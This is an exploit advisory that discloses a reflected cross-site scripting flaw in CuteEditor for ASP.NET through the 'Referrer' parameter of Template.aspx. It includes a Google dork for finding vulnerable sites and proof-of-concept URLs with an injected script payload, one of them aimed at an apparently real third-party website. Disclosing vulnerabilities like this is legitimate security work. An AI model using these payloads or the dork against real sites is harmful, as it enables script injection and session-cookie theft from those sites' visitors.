# Exploit Title: Reflected Cross-Site Scripiting in CuteEditor # Google Dork: inurl:/CuteSoft_Client/CuteEditor/ Template.aspx # Date: 2016/03/14 # CVSS Score: 5.8 # CVSS v2 Vector (AV:N/AC:M/Au:N/C:P/I:P/A:N) # CVSS https://nvd.nist.gov/cvss.cfm?calculator&version=2&vector=(AV:N/AC:L/Au:N/C:P/I:N/A:N) # # Author: Adriano Marcio Monteiro # E-mail: adrmm@xxxxxxxxxxx # Blog: http://www.brazucasecurity.com.br # # Vendor: http://cutesoft.net/ # Software: http://cutesoft.net/ASP.NET+WYSIWYG+Editor/ # Version: multiples # # Test Type: Gray Box # Tested on: Windows 8 Pro x64, Firefox 44 / IE 11 / Chrome 45 *** Preamble *** Cute Editor for ASP.NET is vulnerable to reflected cross-site scripting, caused by improper validation of user supplied input. A remote attacker could exploit this vulnerability using a specially crafted URL to execute a script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials for example. *** PoC *** Cross-site scripting (XSS) vulnerability in "Template.aspx" in CuteSoft Cute Editor allows remote unauthenticated users to inject arbitrary web script or HTML via the "Referrer" parameter. https://localhost/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS"><script>alert(document.domain)</script> https://www.bakernbaker.com/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS"><script>alert(document.domain)</script> [EoF]